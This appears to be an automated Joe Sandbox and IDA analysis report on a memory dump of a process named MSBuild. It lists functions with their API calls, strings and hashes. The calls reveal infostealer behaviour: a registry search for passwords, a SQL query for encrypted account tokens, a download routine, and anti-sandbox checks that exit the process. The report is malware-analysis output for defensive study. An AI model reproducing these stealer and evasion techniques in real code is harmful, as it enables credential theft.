??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 00417111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 004172AE, 00417179, 0041717C

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(33A07020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(33A07020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(33A07020, : ), ref: 0040765A
lstrcatA.KERNEL32(33A07020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(33A07020,00421804), ref: 004076A0
lstrcatA.KERNEL32(33A07020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(33A07020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

:, xrefs: 0041755C
C, xrefs: 0041754C
\, xrefs: 00417560

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01396078,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01396078,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

%d MB, xrefs: 004181A3
@, xrefs: 0041814D

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BB49
AccountTokens, xrefs: 0040BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountId, xrefs: 0040BCC4

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01383330), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01383348), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01383360), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01383378), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01383390), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013833A8), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01384730), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01384750), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013833B8), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01384770), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01384788), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013804B0), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013804C8), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,01387800), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: CreateDCA.GDI32(01380598,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01380578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,01380578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
